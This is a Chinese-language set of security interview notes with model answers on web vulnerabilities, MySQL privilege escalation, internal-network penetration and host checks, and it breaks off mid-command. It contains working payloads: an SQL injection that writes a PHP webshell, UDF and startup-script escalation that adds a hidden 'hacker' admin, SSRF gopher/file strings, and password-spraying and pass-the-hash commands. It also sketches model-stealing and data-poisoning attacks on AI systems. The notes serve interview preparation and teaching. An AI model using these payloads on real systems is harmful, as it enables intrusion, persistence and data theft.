阿里-实习 1. 快速判断目标是Linux还是Windows linux对大小写敏感, win不敏感, 目录修改一下字母大小写,如果正常访问,大概率是win,不能就可能是linux
2. 站库分离 https://blog.csdn.net/Vdieoo/article/details/109515514
从 web 网站打入进而打站库分离的数据库,内网渗透 ①. 从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码 执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。 ②. 在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内 容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作
从数据库打入进而打站库分离的 web 网站,内网渗透 ①. MySql (1)定位 web 端 ip 地址
1 select * from information_schema.PROCESSLIST;
在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。 (2)load_file () 获取数据库所在服务器的敏感信息 如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。
1 select load_file('C:/test.txt');
②. MsSql (1) 判断是否站库分离 得到客户端主机名: select host_name(); 得到服务端主机名: select @@servername; 根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。
3. CSRF Cross-site requestforgery,也就是跨站请求伪造 XSS攻击是跨站脚本攻击,CSRF攻击是请求伪造,XSS来自用户的手,完成一些操作或者是泄露信息,CSRF攻击本不是出自用户之手,却经过第三方恶意攻击者的处理,伪装成了受信任用户的“亲历亲为”。两者的关系属于 ,XSS是实现CSRF的诸多途径中的一条,但并不是唯一的一条。 常见的CSRF在用户修改密码的地方
防御: 来自:https://tech.meituan.com/2018/10/11/fe-security-csrf.html CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。 CSRF的两个特点:
CSRF(通常)发生在第三方域名。
CSRF攻击者不能获取到Cookie等信息,只是使用。 针对这两点,我们可以专门制定防护策略,如下:
阻止不明外域的访问 同源检测 Samesite Cookie
提交时要求附加本域才能获取的信息 CSRF Token 双重Cookie验证 CSRF TOKEN: CSRF Token的防护策略分为三个步骤:
将CSRF Token输出到页面中
页面提交的请求携带这个Token
服务器验证Token是否正确
4. SSRF Server Side RequestForgery,服务器端请求伪造 它是一种由攻击者构造形成,由服务端发起请求 的一个安全漏洞。因为它是由服务端发起的,所以它能够请求到与它相连但与外网隔离的内部系统 。由于服务端提供了从其他服务器应用获取数据的功能(例如分享等功能)且没有对目标地址做过滤与限制,给予了攻击者乘虚而入的机会。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
SSRF的受害对象主要是一些服务器所连接的一些内网设备,如内网的应用程序 ,通过file协议获得内部网络的资料 等
防御:
1.将URL进行解析转化成IP,并使用正则表达式表示内网网址,并以此进行URL过滤。
2.建立URL白名单,只允许白名单上内容通过过滤。
3.建立内网IP黑名单,阻止对该IP的请求。
4.对返回内容进行过滤,减少敏感内容暴露。
5.禁止不需要的协议,只允许http和https协议的请求,减少file等协议的问题。
5. XSS防御 HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。
XSS的防御分输入和输出两方面https://juejin.cn/post/6844903684900388871#heading-7
输入
格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且全部为数字,否则即为非法。 白名单检测 匹配XSS特征
输出
HTMLEncode JavaScriptEncode
6. sql预编译 一条sql语句的执行需要经过语义解析,制定执行计划,执行并返回结果。
预编译是指把要执行的sql语句先进行一个解析,解析语法以及确定查询范围还有查找的返回结果类型,就是确定了查询的方式,把命令和参数进行了分离,使用预编译的sql语句来进行查询直接进行执行计划,不会在进行语义解析,也就是DB不会在进行编译,而是直接执行编译过的sql。只需要替换掉参数部分。
预编译使用错误 预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
部分参数不可预编译 在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
预编译实现错误 部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
7. nmap扫码方式、种类
-sS(TCP SYN 扫描/半开扫描) -sT(TCP connect()扫描) -sU(UDP 扫描) -sN、-sF、-sX(TCP Null、FIN、Xmas 扫描) -sA(TCP ACK 扫描) -sW(TCP 窗口扫描) -sM(TCP Maimon 扫描) –scanflags(定制的 TCP 扫描) -sI(Idel 扫描) -sO(IP 协议扫描) -b(FTP 弹跳扫描)
-sV(版本探测) –allports(不为版本探测排除任何端口) –version-intensity (设置版本扫描强度): –version-light (打开轻量级模式): –version-all (尝试每个探测): –version-trace((跟踪版本扫描活动): -sR(RPC 扫描)
8. mysql的提权方式 https://blog.csdn.net/he_and/article/details/81434865
mof提权 1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。 2.利用条件 mysql用户具有root权限(对上面那个目录可写) 关闭了secure-file-priv
udf提权 1.原理 UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限 2.利用条件
mysql < 5.0,导出路径随意。
5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
查看路径:
1 show variables like '%plugin%';
mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。这一条件主要是要看 secure_file_priv的值
1 show global variables like 'secure%';
当secure_file_priv的值为NULL或/tmp/时,此时无法提权 当secure_file_priv的值没有具体值时,则可以提权
udf文件路径:
9.mysql getshell的方式 条件
root权限
绝对路径
文件写入 secure_file_priv参数
方式 慢查询,写日志,
dumpfile()
outfile()
10. linux 计划任务 1.一次性任务计划:at 2.周期性任务计划:crontab 11. 代码审计 简单浏览网站目录结构
简单看完目录后,我会看主页的index.php,在看这个文件的同时,我还会打开它的网页,做到一边看代码,一边看网页的效果
看用户输入,找功能点,找敏感函数
12. 9. wireshark过滤规则 IP: 源、目的IP为xxx ip.addr == 172.16.0.0/16 ip.src == 172.16.0.0/16 ip.dst == 192.168.0.0/16
端口: 方法一样,但是需要区别TCP和UDP TCP.port == 80 UDP.port == 3702 TCP.srcport == 80 tcp.dstport == 80 ……
协议: 协议直接输就行了 tcp icmp dns snmp ……
10. 宽字节注入 留坑
11. RSA加密过程 留坑
长沙数字马力-lyc 一面
安全八股文
shiro原理
sqlmap os-shell执行命令的原理
简历项目,印象较深的漏洞挖掘经历,应急能力等
登录页面如何渗透,思路。
sqlserver xmp_cmd
二面
对SDL的认知,给一个业务场景(比如登录页面),说说可以从哪些方面开展SDL建设
针对项目经历,谈谈过程,如何优化做得更好
三面 抽象问题,怎么做一次好的渗透测试
北京-驻场 shiro反序列化 log4j反序列化 https://www.cnblogs.com/YikJiang/p/17306757.html#1%E3%80%81%E5%8E%9F%E7%90%86%E6%A6%82%E8%BF%B0
fastjson反序列化-利用链流程分析
https://www.cnblogs.com/YikJiang/p/17420339.html
登录页面如何渗透,思路。 应急响应经验 CTF经验 护网经验 代码审计经验(挖到的漏洞) 阿里云 OSS 对象存储攻防 https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_oss#4bucket-object%E9%81%8D%E5%8E%86
shopee-cpy 1. 反射型XSS和DOM型XSS的payload有什么区别? 2. 什么是同源策略?使用dom型XSS获取用户cookie发送到我们服务器的时候会不会被同源策略拦住?该怎么处理? 3. 给你个带公网IP的云主机,你怎么渗透? 4. 说到端口扫描,nmap你常用哪些命令来扫端口?敲在聊天框里 5. nmap扫描的端口总共有几个状态?怎么判断他是closed还是filter 6. 你刚刚说开放redis能拿shell,你有几种方法能拿? 7. 你还记得哪些服务的默认端口?把你记得的全说出来。RDP?mysql?msserver?smb? 8. msserver对外开放有什么利用手法? 9. web应用你怎么渗透? 10. 如果访问IP发现是403,你会尝试哪些方法开始渗透? 12. 在http数据包里你关注cookie里的哪些属性?了解过httponly的工作原理吗? 13. 你擅长什么语言的审计?(然后给你一段代码看有什么漏洞) 14. 如何防护这个漏洞?防护原理是什么?(我的是python,sub.checkoutput,选项里有个shell=True) 15. 如果给你这个漏洞,你怎么反弹shell?写一下你的命令出来 16. |和||的区别和作用,&和&&的区别和作用 17. 如果过滤了||和&&这种,你有几种绕过方式? 18. shell里如何防护这个漏洞以达到python哪个效果?比如我有个echo后面能随意拼接,该怎么防 19. 双引号能不能防护? 20. 问项目和离职原因 21. API项目你怎么判断API有问题? 22. 去两年你做了什么工作? 23. 给你足够信息的话,你审计的思路有哪些? 24. 反问环节(这里我又跟他扯皮了一下AI相关,问了一下上下班时间和项目内容) 润和-荣耀外包 1. SSRF原理 面试问题: 请详细解释SSRF的原理、危害和常见利用方式。
参考答案:
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # SSRF (Server-Side Request Forgery) 服务端请求伪造 # 原理:攻击者诱使服务器向内部或外部系统发起恶意请求 # 漏洞示例代码 import requests def vulnerable_function(url): # 危险:未验证用户输入的URL response = requests.get(url) # 攻击者可控制此URL return response.text # 攻击向量示例: # 1. 访问内网服务:http://internal-server:8080 # 2. 文件读取:file:///etc/passwd # 3. 端口扫描:http://127.0.0.1:22
危害:
内网服务探测和攻击
敏感文件读取
绕过网络隔离
远程代码执行
2. SSRF用什么协议探测端口 面试问题: SSRF攻击中常用哪些协议进行端口探测?请举例说明。
参考答案:
http
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # 常用协议及Payload示例: # 1. HTTP/HTTPS(最常用) http://127.0.0.1:22 http://192.168.1.1:3306 # 2. FILE协议(文件读取) file:///etc/passwd file:///C:/Windows/System32/drivers/etc/hosts # 3. DICT协议(获取服务banner) dict://127.0.0.1:6379/info # Redis dict://127.0.0.1:21/info # FTP # 4. GOPHER协议(功能强大) gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a # 5. TFTP协议 tftp://127.0.0.1:69/TEST # 端口探测技巧: # - 响应时间差异判断端口状态 # - 错误信息差异(连接拒绝 vs 超时) # - HTTP状态码(200, 400, 500等)
3. SSRF和CSRF的区别 面试问题: 详细说明SSRF和CSRF的区别。
参考答案:
特性
SSRF (服务端请求伪造)
CSRF (跨站请求伪造)
攻击目标
服务器端应用
用户浏览器
利用位置
服务端请求功能
用户已认证的会话
攻击流程
用户→恶意请求→服务器→内部网络
用户←诱导←攻击者→目标网站
防护重点
输入验证、URL白名单
Token验证、Referer检查
危害范围
内网渗透、数据泄露
用户权限内的操作执行
1 2 3 4 5 6 7 8 9 10 11 # 代码示例对比: # SSRF漏洞代码(服务端) @app.route('/fetch') def fetch_url(): url = request.args.get('url') # 用户可控 return requests.get(url).text # 服务器发起请求 # CSRF漏洞代码(客户端) <img src="http://bank.com/transfer?to=attacker&amount=1000" > # 用户浏览器在认证状态下自动发起请求
4. SQL注入的原理 面试问题: 解释SQL注入原理,并给出防护方案。
参考答案:
sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 -- 漏洞原理:用户输入被直接拼接到SQL语句中 -- 原始查询:SELECT * FROM users WHERE username = '$username' AND password = '$password' -- 攻击payload: username: admin' -- password: anything -- 最终SQL:SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything' -- 联合查询注入: ' UNION SELECT 1,2,database() -- -- 报错注入: ' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) -- -- 防护方案: # 1. 预编译语句(Java示例) String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username); stmt.setString(2, password); # 2. 输入验证和过滤 # 3. 最小权限原则 # 4. WAF防护
5. 报错注入的函数 面试问题: 列举常见的报错注入函数及其用法。
参考答案:
sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -- MySQL报错注入函数: -- 1. extractvalue() - XML路径错误 ' AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e)) -- -- 2. updatexml() - XML更新错误 ' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) -- -- 3. floor() + rand() + group by - 重复键错误 ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -- 4. exp() - 数值溢出错误 ' AND exp(~(SELECT * FROM (SELECT user())a)) -- -- 5. geometrycollection() - 几何函数错误 ' AND geometrycollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b)) -- -- 利用原理:通过故意制造错误,让数据库在错误信息中返回敏感数据
6. 延时注入如何来判定 面试问题: 如何通过时间延迟判定SQL注入漏洞?
参考答案:
sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -- 时间盲注判定方法: -- MySQL延时函数: ' AND sleep(5) -- -- 无条件延迟 ' AND if(1=1,sleep(5),0) -- -- 条件为真时延迟 -- 逐字符判断: ' AND if(ascii(substring(database(),1,1))>100,sleep(5),0) -- -- 其他数据库延时方法: -- SQL Server: WAITFOR DELAY '0:0:5' -- PostgreSQL: pg_sleep(5) -- Oracle: dbms_pipe.receive_message('a',5) -- 自动化检测脚本示例: import requests import time def check_time_based_sql(url, param, payload): start_time = time.time() response = requests.get(url, params={param: payload}) end_time = time.time() if end_time - start_time > 5: # 如果响应时间超过5秒 return True return False # 使用示例 payload = "test' AND sleep(5) --" if check_time_based_sql("http://example.com/search", "q", payload): print("存在时间盲注漏洞")
7. demo.jsp?uid=110 注入点获取webshell思路 面试问题: 针对注入点demo.jsp?uid=110,详细说明获取webshell的思路。
参考答案:
sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -- 步骤1:信息收集 110 AND 1=2 UNION SELECT 1,version(),3,4,5 -- # 数据库版本 110 AND 1=2 UNION SELECT 1,user(),3,4,5 -- # 当前用户 110 AND 1=2 UNION SELECT 1,database(),3,4,5 -- # 当前数据库 -- 步骤2:检查权限和路径 110 AND 1=2 UNION SELECT 1,@@secure_file_priv,3,4,5 -- # 文件操作权限 110 AND 1=2 UNION SELECT 1,load_file('/etc/passwd'),3,4,5 -- # 读取文件测试 -- 步骤3:获取网站绝对路径(方法) -- 通过报错信息、load_file读取配置文件、系统表查询等 -- 步骤4:写入webshell 110 UNION SELECT 1,"<?php system($_GET['cmd']);?>",3,4,5 INTO OUTFILE '/var/www/html/shell.php' -- -- 如果INTO OUTFILE被禁用,替代方案: -- 1. 日志文件写入(需要MySQL日志功能) -- 2. 通过创建表写入 110 UNION SELECT 1,0x3C3F7068702073797374656D28245F4745545B27636D64275D293B3F3E,3,4,5 INTO DUMPFILE '/var/www/html/shell.php' -- -- 步骤5:访问webshell执行命令 http://example.com/shell.php?cmd=id
8. XSS和XXE的区别,修复方式 面试问题: 对比XSS和XXE漏洞的原理、危害和修复方式。
参考答案:
xml
特性
XSS
XXE
攻击载体
HTML/JavaScript
XML文档
攻击位置
客户端浏览器
服务端XML解析器
主要危害
会话劫持、钓鱼、蠕虫
文件读取、SSRF、RCE
常见场景
搜索框、评论框、个人信息
XML上传、Web Service、API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <!-- XSS (跨站脚本) vs XXE (XML外部实体注入) --> <!-- XXE漏洞示例 --> <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> <!-- XSS漏洞示例 --> <script>alert(document.cookie)</script> **修复方案:** # XSS修复: 1. 输入输出编码:HTMLEncode、JavaScriptEncode 2. CSP策略:Content-Security-Policy 3. HttpOnly Cookie:防止Cookie被JavaScript读取 4. 输入验证和过滤 # XXE修复: 1. 禁用外部实体: DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 2. 使用安全的XML解析器 3. 输入验证:检查XML内容 4. 白名单验证XML结构
9. 日志注入 面试问题: 什么是日志注入?如何防范?
参考答案:
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # 日志注入原理:攻击者通过注入特殊字符破坏日志格式或执行代码 # 漏洞示例 import logging def login(username, password): # 危险:用户输入直接写入日志 logging.info(f"User {username} attempted login with password {password}") # 攻击payload:username = "admin\nERROR: Database connection failed" # 日志输出会多出一行假错误信息 # 日志注入攻击类型: # 1. 日志伪造:插入换行符创建虚假日志条目 # 2. 日志溢出:超长输入导致日志文件过大 # 3. 代码注入:如果日志在Web界面显示,可能触发XSS # 防护措施: def safe_logging(username, password): # 1. 输入过滤:移除控制字符 clean_username = re.sub(r'[\r\n]', '', username) # 2. 结构化日志:使用JSON格式 logging.info({'event': 'login_attempt', 'user': clean_username}) # 3. 长度限制 if len(username) > 100: username = username[:100] + "..." # 4. 编码输出 safe_username = html.escape(username) if displaying_in_html else username
10. 内网渗透的思路 面试问题: 描述内网渗透的基本思路和方法。
参考答案:
markdown
内网渗透方法论: 阶段1:信息收集
网络拓扑发现:nmap -sn 192.168.1.0/24
端口扫描:nmap -sS -sV -O 目标IP
服务识别:Banner抓取、版本检测
域环境探测:nltest /dclist, net view /domain
阶段2:权限提升
系统漏洞:MS17-010、CVE-2021-34527
配置错误:弱密码、服务权限过高等
凭证窃取:Mimikatz、LaZagne
服务漏洞:数据库、中间件漏洞
阶段3:横向移动
密码喷洒攻击 crackmapexec smb 192.168.1.0/24 -u userlist.txt -p ‘Spring2024!’
Pass-the-Hash攻击 psexec.py -hashes LMHASH:NTHASH administrator@目标IP
WMI执行命令 wmic /node:目标IP process call create “cmd.exe /c whoami”
阶段4:权限维持
后门账户:隐藏用户、克隆账户
计划任务:schtasks创建定时任务
服务后门:创建系统服务
启动项:注册表、启动文件夹
阶段5:数据窃取
敏感文件搜索:findstr /s /i "password" *.txt *.xml *.config
数据库导出:mysqldump -u root -p database > backup.sql
流量加密外传:使用HTTPS、DNS隧道等
11. MySQL的两种提权方式 面试问题: 介绍MySQL的两种提权方式。
参考答案:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 SELECT @@plugin _dir;CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so' ;SELECT sys_exec('id > /tmp/test.txt' );SELECT 'Set ws = CreateObject("Wscript.Shell")' UNION SELECT 'ws.run "cmd /c net user hacker P@ssw0rd /add",0' INTO OUTFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\backdoor.vbs' ;SELECT 'net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add' INTO OUTFILE 'C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\Startup\\backdoor.bat' ;
12. TCP和UDP的区别 面试问题: 详细说明TCP和UDP协议的区别。
参考答案:
特性
TCP (传输控制协议)
UDP (用户数据报协议)
连接性
面向连接,三次握手
无连接,直接发送
可靠性
可靠传输,确认机制
不可靠,可能丢包
顺序性
保证数据顺序
不保证顺序
流量控制
滑动窗口机制
无流量控制
拥塞控制
慢启动、拥塞避免
无拥塞控制
头部大小
20-60字节
8字节
传输效率
相对较低
相对较高
应用场景
Web、邮件、文件传输
视频流、DNS、游戏
1 2 3 4 5 6 7 8 9 10 11 # 代码示例对比: # TCP客户端(需要建立连接) import socket tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_socket.connect(('host', port)) # 需要连接 tcp_socket.send(b'data') # UDP客户端(直接发送) udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.sendto(b'data', ('host', port)) # 直接发送
13. 加密算法/AES模式/密钥安全 面试问题: 解释AES加密的几种模式,哪种更安全?密钥长度要求?
参考答案:
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad # AES加密模式比较: # 1. ECB模式(不安全)- 相同明文生成相同密文 # 问题:不能隐藏数据模式,容易受到重放攻击 # 2. CBC模式(常用)- 需要IV,每个块依赖前一个块 cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) # 3. CTR模式(推荐)- 计数器模式,可并行加密 cipher = AES.new(key, AES.MODE_CTR, nonce=nonce) ciphertext = cipher.encrypt(plaintext) # 4. GCM模式(最安全)- 提供认证加密 cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) ciphertext, tag = cipher.encrypt_and_digest(plaintext) **安全建议:** - 推荐使用:GCM > CTR > CBC > ECB - 密钥长度:AES-256(256位)> AES-192 > AES-128 - IV/Nonce要求:随机生成,每次加密不同 - 密钥管理:使用KMS或HSM,定期轮换
14. RSA的原理和密钥长度 面试问题: 解释RSA加密原理、填充方式和密钥长度要求。
参考答案:
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import rsa # RSA原理:基于大数分解难题 # 密钥生成:选择两个大质数p和q,计算n=p*q,φ(n)=(p-1)*(q-1) # 密钥生成 (public_key, private_key) = rsa.newkeys(2048) # 推荐2048位 # 加密解密 message = b"Secret message" ciphertext = rsa.encrypt(message, public_key) plaintext = rsa.decrypt(ciphertext, private_key) # 数字签名 signature = rsa.sign(message, private_key, 'SHA-256') rsa.verify(message, signature, public_key) **填充方式:** - PKCS#1 v1.5:传统填充,可能存在漏洞 - OAEP(推荐):最优非对称加密填充,更安全 **密钥长度安全要求:** - 当前安全:2048位(2030年前安全) - 长期安全:3072位或4096位 - 已不安全:1024位及以下(可被破解)
15. Java代码审计SQL注入 面试问题: 如何进行Java代码审计发现SQL注入?
参考答案:
java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // 危险代码示例(存在SQL注入) public class VulnerableDAO { public User getUser(String username) { String sql = "SELECT * FROM users WHERE username = '" + username + "'"; // 直接拼接用户输入 - SQL注入风险 return jdbcTemplate.queryForObject(sql, User.class); } } // 安全代码示例(使用预编译) public class SafeDAO { public User getUser(String username) { String sql = "SELECT * FROM users WHERE username = ?"; return jdbcTemplate.queryForObject(sql, new Object[]{username}, User.class); } } // MyBatis审计要点: // 1. 检查是否使用#{}(安全) vs ${}(危险) <select id="getUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE username = #{username} <!-- 安全 --> SELECT * FROM users WHERE username = '${username}' <!-- 危险 --> </select> // 2. 检查动态SQL拼接 <select id="findUsers" parameterType="map" resultType="User"> SELECT * FROM users WHERE 1=1 <if test="name != null"> AND name = '${name}' <!-- 危险:使用${} --> </if> </select>
16. 哪些情况下必须要用${} 面试问题: 在MyBatis中,什么情况下必须使用${}?
参考答案:
xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!-- 必须使用${}的场景: --> <!-- 1. 动态表名/列名(无法使用预编译) --> <select id="getData" parameterType="map"> SELECT * FROM ${tableName} WHERE ${columnName} = #{value} </select> <!-- 2. ORDER BY排序字段 --> <select id="getUsers" parameterType="map"> SELECT * FROM users ORDER BY ${sortField} ${sortDirection} <!-- 不能使用#{},因为会添加引号:ORDER BY 'username' 'DESC' --> </select> <!-- 3. LIKE模糊查询中的通配符位置 --> <select id="searchUsers"> SELECT * FROM users WHERE name LIKE '%${keyword}%' <!-- 注意:这种方式存在SQL注入风险,需要白名单验证 --> </select> <!-- 安全使用${}的最佳实践: --> <select id="safeDynamicQuery"> SELECT * FROM users WHERE <!-- 使用白名单验证动态列名 --> <choose> <when test="orderBy == 'name' or orderBy == 'id'"> ${orderBy} = #{value} </when> <otherwise> 1=0 <!-- 非法参数返回空结果 --> </otherwise> </choose> </select>
17. 文件上传代码审计要点 面试问题: 从代码审计角度,文件上传功能需要检查哪些安全点?
参考答案:
java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 // 文件上传安全审计清单: public class FileUploadService { // 1. 文件类型验证(不能仅靠扩展名) public boolean validateFileType(MultipartFile file) { // 危险:仅检查扩展名 String filename = file.getOriginalFilename(); if (filename.endsWith(".jpg")) { // 可绕过:shell.jpg.php return true; } // 安全:检查Magic Number(文件头) byte[] header = new byte[4]; file.getInputStream().read(header); return Arrays.equals(header, new byte[]{(byte)0xFF, (byte)0xD8, (byte)0xFF, (byte)0xE0}); } // 2. 文件内容检查(防止图片马) public boolean validateFileContent(File file) { // 使用图像处理库验证确实是有效图片 try { BufferedImage image = ImageIO.read(file); return image != null; // 如果是有效图片,返回true } catch (Exception e) { return false; } } // 3. 文件重命名(防止路径遍历) public String generateSafeFilename(String originalFilename) { // 提取扩展名并验证 String ext = getValidatedExtension(originalFilename); // 生成随机文件名 return UUID.randomUUID().toString() + "." + ext; } // 4. 目录权限控制 public void setUploadDirectoryPermissions(File dir) { // 上传目录不应有执行权限 dir.setReadable(true, false); dir.setWritable(true, false); dir.setExecutable(false, false); // 关键:禁止执行权限 } } // CSV注入防护: public String sanitizeCsvValue(String value) { // 检查是否以危险字符开头:=, +, -, @ if (value.startsWith("=") || value.startsWith("+") || value.startsWith("-") || value.startsWith("@")) { // 添加前缀或转义 return "'" + value; } return value; }
18. 四大组件的漏洞 面试问题: 详细说明Android四大组件的安全漏洞。
参考答案:
java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // 1. Activity漏洞 - 权限绕过、劫持 // 危险配置:android:exported="true" 且未设置权限 <activity android:name=".LoginActivity" android:exported="true"> <!-- 可被外部应用调用 --> </activity> // 修复:设置适当的权限或设置为false <activity android:name=".LoginActivity" android:exported="false" android:permission="custom.permission"> // 2. Service漏洞 - 未授权访问 <service android:name=".DataService" android:exported="true"> <!-- 外部应用可绑定 --> </service> // 3. Broadcast Receiver漏洞 - 信息泄露 // 危险:动态注册的广播未设置权限 IntentFilter filter = new IntentFilter("SENSITIVE_ACTION"); registerReceiver(receiver, filter); // 未设置权限 // 4. Content Provider漏洞 - SQL注入、目录遍历 // SQL注入风险代码 public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { // 危险:直接拼接参数 String query = "SELECT * FROM data WHERE " + selection; return db.rawQuery(query, null); } // 安全方式:使用参数化查询 public Cursor safeQuery(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { return db.query("data", projection, selection, selectionArgs, null, null, sortOrder); }
19. AI安全 面试问题: AI安全主要关注哪些方面?
参考答案:
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 # AI安全主要领域: # 1. 对抗样本攻击 import torch from torchvision import models model = models.resnet50(pretrained=True) model.eval() # 生成对抗样本 def fgsm_attack(image, epsilon, data_grad): sign_data_grad = data_grad.sign() perturbed_image = image + epsilon * sign_data_grad return perturbed_image # 2. 模型窃取攻击 # 通过API查询重建模型 def model_stealing(target_model, query_budget): stolen_model = create_similar_model() for i in range(query_budget): x = generate_input() y = target_model.predict(x) # 查询目标模型 stolen_model.train(x, y) # 训练窃取模型 return stolen_model # 3. 数据投毒攻击 # 在训练数据中插入恶意样本 def data_poisoning(training_data, poison_ratio=0.1): poisoned_data = training_data.copy() num_poison = int(len(training_data) * poison_ratio) for i in range(num_poison): # 修改标签或添加触发器 poisoned_data[i] = add_backdoor(poisoned_data[i]) return poisoned_data # 4. 成员推断攻击 # 判断特定数据是否在训练集中 def membership_inference(model, sample, threshold=0.9): confidence = model.predict_proba(sample) # 如果模型对样本置信度很高,可能该样本在训练集中 return max(confidence) > threshold # 防护措施: # - 对抗训练:在训练中加入对抗样本 # - 差分隐私:在训练中添加噪声 # - 模型水印:保护知识产权 # - 输入检测:检测对抗样本
20. 主机安全 面试问题: 主机安全需要关注哪些方面?
参考答案:
bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 # 主机安全检查清单: # 1. 系统漏洞检查 # 检查未打补丁的漏洞 sudo apt list --upgradable # Ubuntu yum check-update # CentOS # 2. 账户安全审计 # 检查空密码账户 sudo awk -F: '($2 == "") {print $1}' /etc/shadow # 检查sudo权限用户 sudo grep -Po '^sudo.+:\K.*$' /etc/group # 3. 服务安全配置 # 检查不必要的服务 sudo systemctl list-unit-files --state=enabled # 检查网络监听端口 sudo netstat -tulpn | grep LISTEN # 4. 文件权限检查 # 检查SUID文件(可能提权) find / -perm -4000 -type f 2>/dev/null # 检查世界可写文件 find / -perm -0002 -type f ! -path "/proc/*" 2>/dev/null # 5. 日志审计配置 # 检查系统日志配置 sudo cat /etc/rsyslog.conf # 检查auditd审计规则 sudo auditctl -l # 6. 入侵检测 # 检查可疑进程 ps aux | grep 